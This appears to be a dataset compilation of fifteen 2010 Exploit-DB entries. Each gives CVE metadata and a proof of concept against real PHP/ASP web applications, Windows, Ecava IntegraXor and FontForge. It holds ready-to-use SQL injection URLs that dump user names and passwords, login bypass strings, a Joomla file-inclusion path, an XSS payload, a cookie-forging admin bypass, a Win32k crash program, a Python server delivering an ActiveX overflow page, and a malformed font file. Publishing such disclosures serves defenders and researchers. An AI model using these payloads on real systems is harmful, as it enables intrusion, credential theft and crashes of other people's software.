QLWD/code_shield huggingface dataset:
标题: Mafia Game Script - SQL Injection EDB-ID: 15775 CVE: 2010-4619 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-18 漏洞利用脚本: +Name : WebScript Mafia Game Script (profile.php) <<= SQL injection
Vulnerability
+Autor : DeadLy DeMon
+Date : 18.12.2010
+Script : WebScript Mafia Game Script
+Site : http://webscripti.com/incele.php?incele=4
+Price : 250 TL
+Language : PHP
+Tests : Windows XP SP 3 and Backtrack4 any other OS
+Discovered by DeadLy DeMon
+ Cyber - Warrior TIM =>> www.cyber-warrior.org
+Greetz to All System-Hacker, BlackApple , F0RTYS3V3N and All KinqSqlZCrew
Members
---------------------------------------------------------------------------------------

Yoksulluğu anladıkta sevmek neden kıt kanaat? Yoksa yüreklerde mi yoksul
kimler biçmiş Aşk'a fiyat?

----------------------------------------------------------------------------------------

Bug ;
target/path/profil.php?id=[Sql Inj.]

--------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/15775
标题: Oto Galery 1.0 - Multiple SQL Injections EDB-ID: 15777 CVE: 2010-4615 类型: WEBAPPS 平台: ASP 发布日期: 2010-12-19 漏洞利用脚本: +Name : Oto Galery v1.0  <<= Multiple SQL injection Vulnerabilities
+Autor : DeadLy DeMon
+Date : 18.12.2010
+Script : Oto Galery v1.0
+Vendor : http://www.iskenderaltuntas.com
+Price : 1000 TL
+Language : PHP
+Tests : Windows XP SP 3 and Backtrack4 any other OS
+Discovered by DeadLy DeMon
+ Cyber - Warrior TIM =>> *www.cyber-warrior.org*
+Greetz to All System-Hacker, BlackApple , F0RTYS3V3N , HUNT3R , Şair-ul
Cihad and All KinqSqlZCrew
Members
---------------------------------------------------------------------------------------

Var mı içinizde beni tanıyan?
Yaşanmadan çözülemeyen sır benim.
Kalmasada şöhretimi duymayan,
Kimliğimi tarif etmek zor benim..
                                    Aklınıza Geliriz Aklınız Gider...
KinqSqlZ Crew Akar...
----------------------------------------------------------------------------------------

Bug ;
carsdetail.asp?arac=[Sql Inj.]
twohandscars.asp?marka=[Sql Inj.]

--------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/15777
标题: PayPal Shop Digital - SQL Injection EDB-ID: 15772 CVE: 2010-4846 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-18 漏洞利用脚本: +Name : PayPal Shop Digital <<= SQL injection Vulnerability

+Autor : DeadLy DeMon

+Date : 18.12.2010

+Script : PayPal Shop Digital

+Vendor : http://www.mhproducts.de/php-scripte-5/pal-pal-shop-digital.html

+Price : 15,99 Euro

+Language : PHP

+Tests : Windows XP SP 3 and Backtrack4 any other OS

+Discovered by DeadLy DeMon

+ Cyber - Warrior TIM =>> *www.cyber-warrior.org*

+Greetz to All System-Hacker, BlackApple , F0RTYS3V3N and All KinqSqlZCrew
Members

---------------------------------------------------------------------------------------



Var mı içinizde beni tanıyan?
Yaşanmadan çözülemeyen sır benim.
Kalmasada şöhretimi duymayan,
Kimliğimi tarif etmek zor benim..

                        KinqSqlZ Crew Akar...

----------------------------------------------------------------------------------------


Bug ;

target/path/view_item.php?ItemID=[Sql Inj.]


--------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/15772
标题: Download Center 2.2 - SQL Injection EDB-ID: 15770 CVE: 2010-4842 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-18 漏洞利用脚本: Name : MHP DownloadScript v2.2 <<= SQL injection Vulnerability

+Autor : DeadLy DeMon
+Date : 18.12.2010
+Script : MHP DownloadScript v2.2
+Download : ----
+Site : http://www.mhproducts.de/php-scripte-5/tools-dienste/download-center.html
+Dork : Not Dork
+Price : 4,99 EURO
+Language : PHP
+Tests : Windows XP SP 3 and Backtrack4 any other OS
+Discovered by DeadLy DeMon
+ Cyber - Warrir TIM =>> www.Cyber-warrior.org
+Greetz to All KinqSqlZ Crew

---------------------------------------------------------------------------------------
DeadLy DeMon ,System-Hacker , BlackApple , HeroTurk , F0RTYS3V3N ,
JackTheRipper , Sadrazam and All KinqSqlZCrew Member

Aklınıza Geliriz , Aklınız
Gider..                                               KinqSqlZ Crew Akar...

----------------------------------------------------------------------------------------
Bug ;

*target/path/downloadcenter/admin/
*
*name : '

pass : '* URL: https://www.exploit-db.com/exploits/15770
标题: Ero Auktion 2010 - 'item.php' SQL Injection EDB-ID: 15769 CVE: 2010-4614 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-18 漏洞利用脚本: +Name : Eroauktion 2010 <= SQL injection Vulnerability Proof of Concept
+Autor : DeadLy DeMon
+Date : 18.12.2010
+Script : Eroauktion 2010
+Download : ----
+Dork : Not Dork
+Price : 39.90  EURO
+Language : PHP
+Tests : Windows XP SP 3 and Backtrack4 any other OS
+Discovered by DeadLy DeMon
+ Cyber - Warrir TIM =>> www.cyber-warrior.org
+Greetz to All Cyber-Warrior Members
---------------------------------------------------------------------------------------



Kah çıkarım gökyüzüne seyrederim alemi kah inerim yeryüzüne seyreder alem
beni beni :)))
----------------------------------------------------------------------------------------

Bug ;

server/flashauktion2010/item.php?id=' [Sql Inj. ]
--------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/15769
标题: Easy Online Shop - SQL Injection EDB-ID: 15755 CVE: 2010-4844 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-17 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : Easy Online Shop <=  SQL injection Vulnerability Proof of Concept
+Autor : Easy Laster
+Date   : 17.12.2010
+Script  : Easy Online Shop
+Vendor : http://www.mhproducts.de/
+Price : 8,90 
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project.com
+Greetz to Team-Internet ,Underground Agents and free-hack.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
  
---------------------------------------------------------------------------------------
                                                                                       
 ___ ___ ___ ___                         _ _           _____           _         _ 
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|          
  
  
----------------------------------------------------------------------------------------
+Proof of Concept
+Table : users
+columns : name,password
+Proof of Concept : http://server/easyonlineshop/content.php?kat='+union+select+1
,2,3,4,concat(name,0x3a,password),6,7,8,9,10+from+users--+
---------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/15755
标题: MHP Downloadshop - SQL Injection EDB-ID: 15756 CVE: 2010-4847 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-17 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : MHP Downloadshop <=  SQL injection Vulnerability Proof of Concept
+Autor : Easy Laster
+Date   : 17.12.2010
+Script  : MHP Downloadshop
+Demo :http://wp1072278.vwp3485.webpack.hosteurope.de/demoserver/Download-Shop/
+Download : ----
+Price : 19,90 
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project.com
+Greetz to Team-Internet ,Underground Agents and free-hack.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
  
---------------------------------------------------------------------------------------
                                                                                       
 ___ ___ ___ ___                         _ _           _____           _         _ 
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_|
                                              |___|                 |___|          
  
  
----------------------------------------------------------------------------------------
+Proof of Concept
+Table : users
+columns : name,password,email
+Proof of Concept : http://server/Download-Shop/view_item.php?ItemID='+uNioN+sElE
cT+1,2,cOnCaT(NaMe,PaSsWoRd,EmAiL),4,5,6,7,8,9,10,11,12,13+FrOm+users--+
---------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/15756
标题: Microsoft Windows - Win32k Pointer Dereferencement (PoC) (MS10-098) EDB-ID: 15758 CVE: 2010-3944 类型: DOS 平台: WINDOWS_X86 发布日期: 2010-12-17 漏洞利用脚本: /*************************************************************************************
* MS10-098
* CVE-2010-3944
* 
* Microsoft Windows Win32k pointer dereferencement
* 
* --------------------
* Affected Software
* ------------------------
* Microsoft Windows 7 / 2008
* 
* 
* --------------------
* Consequences
* -----------------------
* An unprivileged user may be able to cause a bugcheck, or possibly execute
* arbitrary code by CSRSS.EXE.
* 
* 
* 
* Credits : Stefan LE BERRE (s.leberre@sysdream.com)
*           Ludo t0ka7a
* 
* WebSites : http://www.sysdream.com/
*            http://ghostsinthestack.org/
*            http://infond.blogspot.com/
*            http://twitter.com/hackinparis
* 
* kd> r
* eax=00013370 ebx=0000000d ecx=00000000 edx=fea0069c esi=fea00618 edi=fea00618
* eip=8d72af90 esp=95b54a98 ebp=95b54b00 iopl=0         nv up ei ng nz na pe nc
* cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010286
* win32k!xxxRealDefWindowProc+0xf6:
* 8d72af90 c60000          mov     byte ptr [eax],0           ds:0023:00013370=??
*
*************************************************************************************/

#include <stdio.h> 
#include <windows.h> 
#include <Winuser.h>


int main(int argc, char *argv[]) 
{ 
    SendMessage((HWND) 16,(UINT) 13,0x80000000,0x00013370); // 0x13370 is the deref and 16 is the window handle of #32769
 return 0;
} URL: https://www.exploit-db.com/exploits/15758
标题: Immo Makler Script - SQL Injection EDB-ID: 15754 CVE: 2010-4721 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-17 漏洞利用脚本: ----------------------------Information------------------------------------------------
+Name : Immo Makler <=  SQL injection Vulnerability Proof of Concept
+Autor : Easy Laster
+Date   : 17.12.2010
+Script  : Immo Makler
+Vendor " http://www.mhproducts.de/
+Price : 199,00 
+Language : PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project.com
+Greetz to Team-Internet ,Underground Agents and free-hack.com
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr.ChAoS,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor,Ic3Drag0n,novaca!ne,n3w7u,Maverick010101,s0red,c1ox,enco.
 
---------------------------------------------------------------------------------------
                                                                                      
 ___ ___ ___ ___                         _ _           _____           _         _  
| | |   |   | | |___ ___ ___ ___ _ _ ___|_| |_ _ _ ___|  _  |___ ___  |_|___ ___| |_
|_  | | | | |_  |___|_ -| -_|  _| | |  _| |  _| | |___|   __|  _| . | | | -_|  _|  _|
  |_|___|___| |_|   |___|___|___|___|_| |_|_| |_  |   |__|  |_| |___|_| |___|___|_| 
                                              |___|                 |___|           
 
 
----------------------------------------------------------------------------------------
+Proof of Concept
+Table Name => user
+Column names => userid,name,pass,email
+SQL Injection Vulnerability => news.php?id=-1+union+select+1,2,3,4,5,concat(version
()),7,8,9+from+user--
---------------------------------------------------------------------------------------- URL: https://www.exploit-db.com/exploits/15754
标题: Ecava IntegraXor Remote - ActiveX Buffer Overflow (PoC) EDB-ID: 15767 CVE: 2010-4597 类型: DOS 平台: WINDOWS 发布日期: 2010-12-18 漏洞利用脚本: #!/usr/bin/python
# intx.py
# Ecava IntegraXor Remote ActiveX Buffer Overflow PoC
# Jeremy Brown
# December 2010
# http://www.integraxor.com/
#
# There is a stack-based buffer overflow in IntegraXor that can be triggered
# by passing an overly large value to the "save" method of the IntegraXor.Project
# control located in igcomm.dll. This control is marked both safe for scripting
# and safe for initialization.
#
# .text:100027C1                 push    eax             ; lpString2
# .text:100027C2                 lea     eax, [esp+84Ch+String1]
# .text:100027C6                 push    eax             ; lpString1
# .text:100027C7                 call    ds:lstrcpyW
# .text:100027CD                 lea     ecx, [esp+848h+String1]
# .text:100027D1                 push    ecx
# .text:100027D2                 call    SplitPath
# .text:100027D7                 add     esp, 4
# .text:100027DA                 lea     ecx, [esp+848h+var_83C]
# .text:100027DE                 call    ds:??0?$basic_string@_WU?$char<truncated>
# .text:100027E4                 cmp     dword ptr [esi+20h], 8
# .text:100027E8                 jb      short loc_100027EF
# .text:100027EA                 mov     esi, [esi+0Ch]
# .text:100027ED                 jmp     short loc_100027F2
#
# The vulnerable code in this block passes String1 (dest) and lpString2 (src)
# to lstrcpyW() without validating the length of lpString2. lstrcpyW() then
# copies lpString2 byte for byte into String1 (1024 bytes wchar buffer) and
# adds a terminating NULL byte to the end.
#
# If you attach a debugger and set a breakpoint on 100027CD, you can see an
# exception registration record is stored before the return address:
#
# ESP+83C  > 00420042  B.B.  Pointer to next SEH record
# ESP+840  > 00420042  B.B.  SE handler
# ESP+844  > FFFF0000  ..��
# ESP+848  > 10007916  xxxx  RETURN to igcom.10007916 from igcom.10002770
#
# I wasn't able to find any useable unicode compatible PPRs. We can overwrite
# the return address, but it will exit with a c0000409 code (/GS exception). 
#
# Tested Ecava IntegraXor 3.5.3900.5 on Windows
#
# Fixed version: 3.5.3900.10
#

import sys
import socket

resp="""
<html>
<body>
<object id="target" classid="clsid:{520F4CFD-61C6-4EED-8004-C26D514D3D19}"></object>
<script language="vbscript">

data="IntegraXor"
filepath=String(1038,"B")

target.save data,filepath

</script>
</body>
</html>
"""

port=80

try:
     sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
     sock.bind(("",port))
     sock.listen(1)
     conn,addr=sock.accept()

except IOError,e:
     print e

print "Client at %s connected\n"%addr[0]

req=conn.recv(1024)

print "Sending data..."
conn.send(resp)
print "Done"
conn.close() URL: https://www.exploit-db.com/exploits/15767
标题: Joomla! Component JRadio - Local File Inclusion EDB-ID: 15749 CVE: 2010-4719 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-16 漏洞利用脚本: #Name :Joomla com_jradio LFI Vulnerability
#Date : Dec,16 2010
#Vendor Url :http://joomlacode.org/gf/project/componentjradio/
#Dork:inurl:com_jradio
#Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
#Big hugs : Th3 RDX,Hanan_butt,
#special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,SeeMe,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!

Te,n4pst3rr,tranquiller
#greetz to :!Op3x_ninjato team,www.topsecure.net ,trent Dillman,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description:
JRadio is a powerful internet radio receiver for Joomla 1.5 based websites.

###############################################################################################################
Exploit:LFI Vulnerability

http://server/index.php?option=com_jradio&controller=[LFI]%00

###############################################################################################################
Fix:
   N/a
###############################################################################################################
# 0day no more
# Sid3^effects
# 1337day.com URL: https://www.exploit-db.com/exploits/15749
标题: gitWeb 1.7.3.3 - Cross-Site Scripting EDB-ID: 15744 CVE: 2010-3906 类型: WEBAPPS 平台: CGI 发布日期: 2010-12-15 漏洞利用脚本: >-8 Description 8-<
Cross-site scripting (XSS) vulnerability in Gitweb 1.7.3.3 and previous versions
allows remote attackers to inject arbitrary web script or HTML code via f and fp variables.

>-8 Proof Of Concept 8-<
http://localhost/?p=foo/bar/ph33r.git;a=blobdiff;f=[XSS];fp=[XSS]
[XSS] => "><body onload="alert('xss')"> <a


>-8 Credits 8-<
Emanuele 'emgent' Gentili <e.gentili@tigersecurity.it>


>-8 Responsible Disclosure 8-<

13-12-2010 Initial contact with upstream and vendor-sec
13-12-2010 Vendor Response and CVE-2010-3906 assignation
15-12-2010 Public Disclosure URL: https://www.exploit-db.com/exploits/15744
标题: Pointter PHP Content Management System - Unauthorized Privilege Escalation EDB-ID: 15740 CVE: 2010-4332 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-15 漏洞利用脚本: 'Pointter PHP Content Management System' Unauthorized Privilege Escalation (CVE-2010-4332)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the 'Pointter PHP Content Management System' authentication system which allows for administrative privileges by crafting two specific cookies with arbitrary values.

 
II. TESTED VERSION
---------------------------------------
1.0


III. PoC EXPLOIT
---------------------------------------
Using whatever method you prefer, generate 'auser' and 'apass' cookies. The values of each cookie are irrelevant; the mere presence of the cookies provide the administrative privilege.


IV. NOTES 
---------------------------------------
* Here's a snippet of the final reply that I received from the vendor:
"Of course, it could be made safer and we know how to do it. But we have designed the softwares so that renaming admin folder gives us less work. As you know, the users should know the security issues as they will run this and not us."


V. SOLUTION
---------------------------------------
* There is no update released at this time. Avoidance of this software is recommended until an updated version is available.


VI. REFERENCES
---------------------------------------
http://www.pointter.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4332
http://www.uncompiled.com/2010/12/pointter-php-content-management-system-unauthorized-privilege-escalation-cve-2010-4332/


VII. TIMELINE
---------------------------------------
11/23/2010 - Initial vendor disclosure e-mail sent
11/24/2010 - Reply from vendor informing me that my 'software manipulation' was illegal
11/24/2010 - Response to vendor regarding their accusation of illegal actions on my part
11/24/2010 - Reply from vendor stating that by releasing this information, I am committing a crime
11/24/2010 - Response to vendor that their software is CC-licensed and that their accusations are unfounded
11/24/2010 - Rebuttal from vendor again affirming I was breaking the law by disclosing this vulnerability
11/24/2010 - Reply to vendor again stating my intent to help the company and provide responsible disclosure
11/24/2010 - Response from vendor stating they would no longer respond and explained their stance on fixing this issue
11/24/2010 - Final reply to vendor stating that I was happy to work with them on a delayed disclosure if desired
12/15/2010 - Public disclosure URL: https://www.exploit-db.com/exploits/15740
标题: Pointter PHP Micro-Blogging Social Network - Unauthorized Privilege Escalation EDB-ID: 15741 CVE: 2010-4333 类型: WEBAPPS 平台: PHP 发布日期: 2010-12-15 漏洞利用脚本: 'Pointter PHP Micro-Blogging Social Network' Unauthorized Privilege Escalation (CVE-2010-4333)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the 'Pointter PHP Micro-Blogging Social Network' authentication system which allows for administrative privileges by crafting two specific cookies with arbitrary values.

 
II. TESTED VERSION
---------------------------------------
1.8


III. PoC EXPLOIT
---------------------------------------
Using whatever method you prefer, generate 'auser' and 'apass' cookies. The values of each cookie are irrelevant; the mere presence of the cookies provide the administrative privilege.


IV. NOTES 
---------------------------------------
* Here's a snippet of the final reply that I received from the vendor:
"Of course, it could be made safer and we know how to do it. But we have designed the softwares so that renaming admin folder gives us less work. As you know, the users should know the security issues as they will run this and not us."


V. SOLUTION
---------------------------------------
* There is no update released at this time. Avoidance of this software is recommended until an updated version is available.


VI. REFERENCES
---------------------------------------
http://www.pointter.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4333
http://www.uncompiled.com/2010/12/pointter-php-micro-blogging-social-network-unauthorized-privilege-escalation-cve-2010-4333/

VII. TIMELINE
---------------------------------------
11/23/2010 - Initial vendor disclosure e-mail sent
11/24/2010 - Reply from vendor informing me that my 'software manipulation' was illegal
11/24/2010 - Response to vendor regarding their accusation of illegal actions on my part
11/24/2010 - Reply from vendor stating that by releasing this information, I am committing a crime
11/24/2010 - Response to vendor that their software is CC-licensed and that their accusations are unfounded
11/24/2010 - Rebuttal from vendor again affirming I was breaking the law by disclosing this vulnerability
11/24/2010 - Reply to vendor again stating my intent to help the company and provide responsible disclosure
11/24/2010 - Response from vendor stating they would no longer respond and explained their stance on fixing this issue
11/24/2010 - Final reply to vendor stating that I was happy to work with them on a delayed disclosure if desired
12/15/2010 - Public disclosure URL: https://www.exploit-db.com/exploits/15741
标题: FontForge - '.BDF' Font File Stack Buffer Overflow (PoC) EDB-ID: 15732 CVE: 2010-4259 类型: DOS 平台: LINUX 发布日期: 2010-12-14 漏洞利用脚本: Source: https://www.securityfocus.com/bid/45162/info

FontForge is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer. 

An attacker could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.

FontForge 0.0.20100501-2 is vulnerable; other versions may also be affected.

PoC:

STARTFONT 2.1
FONT -gnu-unifont-medium-r-normal--16-160-75-75-c-80-iso10646-1
SIZE 16 75 75
CHARSET_REGISTRY AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
FONTBOUNDINGBOX 16 16 0 -2
STARTPROPERTIES 2
FONT_ASCENT 14
FONT_DESCENT 2
ENDPROPERTIES
CHARS 1
STARTCHAR U+0041
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 8 16 0 -2
BITMAP 
00
00
00
00
18
24
24
42
42
7E
42
42
42
42
00
00
ENDCHAR
ENDFONT URL: https://www.exploit-db.com/exploits/15732